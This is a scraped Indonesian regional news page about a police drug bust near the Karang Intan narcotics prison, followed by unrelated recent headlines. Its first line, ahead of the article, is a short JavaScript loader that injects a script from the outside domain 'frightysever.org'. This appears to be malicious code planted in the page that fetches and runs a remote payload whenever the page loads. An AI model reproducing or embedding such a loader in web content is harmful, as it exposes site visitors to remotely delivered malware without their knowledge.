(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dibuntuti Polisi, 2 Lelaki ini Ambil Sabu di Belakang Lapas Narkotika


MARTAPURA, Satuan Reserse Narkoba Polres Banjar berhasil mengungkap 3 kasus tindak pidana narkotika, 3 tersangka berhasil diamankan, Kamis (24/5). Sat Resnarkoba Polres Banjar melakukan pengintaian di Lapas Narkotika Klas 2 Karang Intan, pasca terungkapnya 82 paket sabu yang gagal edar di Lapas itu.

Kapolres Banjar AKBP Takdir Mattanete melalui Kasat Resnarkoba Iptu Achmad Jarkasi mengatakan, pada Kamis (24/5) sekitar pukul 13.00 Wita, di belakang bangunan Lapas Narkotika Klas II Karang Intan Kabupaten Banjar, polisi berhasil mengamankan 2 orang pelaku A alias Kentung dan MHA alias Bolang.

Kedua orang terbukti tertangkap tangan miliki sabu-sabu 0,40 gram, satu sobekan plastik warna hijau, satu buah Hp Nokia warna hitam, satu lembar Resi Bank BRI an. Hamriah, satu buah batu dan uang tunai sebesar Rp 37.000.

Pada saat dilakukan penangkapan terhadap para pelaku ditemukan barang bukti berupa satu paket sabu-sabu yg diikat dengan plastik dan diberi batu sebagai pemberat yg ditemukan di dekat pelaku A yang diakui adalah miliknya.

Menurut Iptu Jarkasi, paket sabu tersebut dilempar dari dalam Lapas Narkotika Klas II Karang Intan yang merupakan pesanan A dan MHA dengan cara urunan uang bersama. “Kedua pelaku dan barang bukti diamankan ke Polres Banjar untuk proses hukum lebih lanjut,” sahutnya.

Tepisah, Sat Narkoba Polres Banjar juga berhasil mengamankan S alias Isah (26) warga desa Mandikapau, Kecamatan Karang Intan yang memiliki paket sabu-sabu 0,31 gram.

“Pada saat dilakukan penangkapan S ditemukan barang bukti berupa satu paket sabu-sabu yang sempat dijatuhkan pelaku ke tanah dekat pelaku berada dan selanjutnya pelaku beserta barang bukti dibawa ke Polres Banjar,” terangnya.

Penangkapan 3 orang pelaku tersebut merupakan pengembangan dari kasus barang bukti 82 paket sabu senilai Rp 20 juta di Lapas Narkotika Klas II A Karang Intan yang berhasil gagal edar setelah ditemukan petugas Lapas Karang Intan, Selasa (15/5). (rendy)

Reporter:Rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.